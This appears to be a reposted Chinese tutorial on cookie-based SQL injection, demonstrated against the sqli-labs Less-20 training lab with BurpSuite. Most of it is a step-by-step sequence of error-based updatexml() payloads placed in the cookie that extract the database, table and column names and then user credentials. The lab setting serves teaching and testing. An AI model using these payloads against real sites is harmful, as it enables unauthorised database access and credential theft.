概述
目录
- 1 cookie注入概述
- 2 cookie注入案例
- 2.1 实验平台
- 2.2 实验过程
- 2.2.1 注入前准备
- 2.2.2 判断注入点及注入类型
- 2.2.3 获取库名表名字段名
- 3 总结
- 参考文章
1 cookie注入概述
定义:cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数以cookie的方式提交。cookie注入可以通过document.cookie在控制台完成对浏览器cookie的读写,也可以借助BurpSuite工具完成对浏览器cookie的读写。
一般的注入我们是使用get或者post方式提交:
- get方式提交就是直接在网址后面加上需要注入的语句;
- post则是通过表单方式,
- get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
2 cookie注入案例
2.1 实验平台
(1)靶机:——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个sqli-labs漏洞靶场,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,sqli-labs漏洞靶场的搭建可以参考《【环境搭建】基于WAMP环境的sqli-labs漏洞靶场的搭建》
。
(2)注入机:——kali虚拟机,为了方便发送Cookie,本实验利用BurpSuite来进行注入实验,BurpSuite的安装过程可以参考文章《【Burp Suite工具-1】BurpSuite简介及安装过程详解(含please supply the following JVM argument错误提示原因)》。
(3)靶机与kali虚拟机桥接到同一局域网中。
2.2 实验过程
2.2.1 注入前准备
(1)打开靶机虚拟机,并打开phpstudy,并启动。
(2)kali虚拟机上打开火狐浏览器,并使用火狐浏览器的访问靶机sqli-labs的Less20,打开页面如下。
(3)kali虚拟机,设置火狐浏览器的使用代理功能。设置步骤如下:单击浏览器右上角“菜单图标”,依次单击“Settings”→“Settings”→“设置网络代理”→“设置”→“手动配置代理”,示, 设置HTTP代理为127.0.0.1 , 端口为8080 ,与Burp Proxy 中的代理一致。
(4)kali虚拟机打开BurpSuite,进入Proxy工具,在BurpSuite工具的intercept界面开启 intercept is on,刷新第2部的页面,让BurpSuite获取到请求,将请求右键发送到repeater工具,点击forward。
(5)在kali虚拟机的浏览器页面输入账号Dumb,密码也输入Dumb进行登录。
(6)在kali虚拟机BurpSuite工具的intercept界面点击forward,浏览器页面将收到响应显示如下。
(7)使用BurpSuite工具抓到带有cookie状态的请求。在kali虚拟机中的浏览器中刷新该页面响应,根据以前学习cookie的相关知识,此时页面是有cookie状态的。在BurpSuite工具的intercept界面右键该响应,将其发送到repeater工具。
(8)查看上述抓到的两个包的区别。
-
1)在BurpSuite的Repeater工具中,我们可以看到刚刚发送过来的两个请求,第一个是进入页面发出的,第二个请求是登录之后发出的。分别右键两个请求,将其发送到comparer,进行比较。
-
2)点击comparer界面,点击箭头所示的words逐个单词进行比较。
-
3)比较结果如下,黄底的是不一致的。可以看到第二条信息相比于第一条主要是新增了cookie信息。
2.2.2 判断注入点及注入类型
(1)正常流程应该是先判断能否在常规位置进行注入,实在没有的情况下再找cookie能否注入,本节实验省去了测试其他位置能否注入的过程,仅为演示如何进行cookie注入。
(2)回到BurpSuite的Repeater模块,选择第二个请求,单击dsend,重放该数据包,产生响应。
(3)在cookie的值后加单引号。对第二个请求进行编辑,在Dumb后新增一个英文格式的单引号,点击send发送请求,可以看到收到响应,下拉响应在最后看到报错提示,报错有回显,可以使用报错注入。根据报错回显,可知该为字符型注入,且为单引号闭合。
(4)在在cookie的值后加单引号 ,且加–空格(或者#)注释掉后面的单引号,注意此处不能用–+,+是在url中对空格的变换。可以看到现在响应是正常的,同样可以证明该处是字符型注入且是单引号闭合。
(5)尝试将请求cookie修改为Angelina’#,可以看到现在响应也变成了Angelina’#。虽然响应确实根据cookie变化了,但是并不是数据库的回显,并不是将参数传入数据库导致的回显不同,因此不算真正的回显,因此不可以使用union联合查询注入。
2.2.3 获取库名表名字段名
(1)获取库名。修改cookie参数为Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1)#
,最后一个#是为了注释掉后续的单引号,让updatexml()函数执行并报错。可以看到updatexml()函数执行时报错,同时将数据库信息爆了出来,名为security。
(2)获取数据库中的所有表名。考虑到updatexml()函数回显字符长度有限,先获取表格数量,再逐个获取表名。
-
1)获取表数量。修改cookie参数为
Dumb' and updatexml(1,concat(0x5e,(select count(table_name) from information_schema.tables where table_schema=database()),0x5e),1)#
,响应中错误提示如下,可知共有4个表格。
-
2)获取第一个表名。修改cookie参数为
Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x5e),1)#
,响应中错误提示如下,第一个表名为emails。
-
3)获取第二个表名。修改cookie参数为
Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()limit 1,1),0x5e),1)#
,响应中错误提示如下,可知第二个表名为referers,
-
4)获取第三个表名。修改cookie参数为
Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()limit 2,1),0x5e),1)#
,响应中错误提示如下,
-
5)获取第四个表名。修改cookie参数为
Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()limit 3,1),0x5e),1)#
,响应中错误提示如下,可知第四个表名为users,存储用户信息,猜测是我们的目标。
(3)获取字段名。先假设回显长度不超过updatexml()回显范围,修改cookie参数为Dumb' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),0x5e),1)#
,响应中错误提示如下,可知该表有三个字段,分别为id、username、password。
(4)获取users表中的所有账密。考虑到updatexml()函数回显字符长度有限,先获取用户数量,再逐个获取用户名与密码。
-
1)获取用户数量。修改cookie参数为
Dumb' and updatexml(1,concat(0x5e,(select count(username) from users),0x5e),1)#
,响应中错误提示如下,可知共有13个用户。
-
2)获取第一个用户账号及密码。修改cookie参数为
Dumb' and updatexml(1,concat(0x5e,(select concat(id,0x3a,username,0x3a,password) from users limit 0,1),0x5e),1)#
,响应中错误提示如下,可知第一个账号密码均为Dumb。
-
3)剩余账号密码只需修改limit参数便可逐个取出。
如果不使用BurpSuite,也可以使用网页控制台来完成该注入过程,例如,获取库名时,在控制台输入document.cookie="uname=Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1)#"
。在控制台输入时是通过js代码来控制的,js代码的基础可参考《【JS基础-1】JavaScript语言简单介绍(语法、变量、数组、流程控制语句、函数、对象和事件)》
3 总结
(1)了解get、post注入与cookie注入的区别。
(2)掌握cookie注入的方法。
参考文章
[1] 《【SQL注入10】cookie注入基础及实践(基于BurpSuite工具和Sqli-labs-less20靶机平台)》
最后
以上就是玩命月光为你收集整理的【SQL注入-10】cookie注入案例—以Sqli-labs靶机第less20关为例(借助BurpSuite工具)1 cookie注入概述2 cookie注入案例3 总结参考文章的全部内容,希望文章能够帮你解决【SQL注入-10】cookie注入案例—以Sqli-labs靶机第less20关为例(借助BurpSuite工具)1 cookie注入概述2 cookie注入案例3 总结参考文章所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复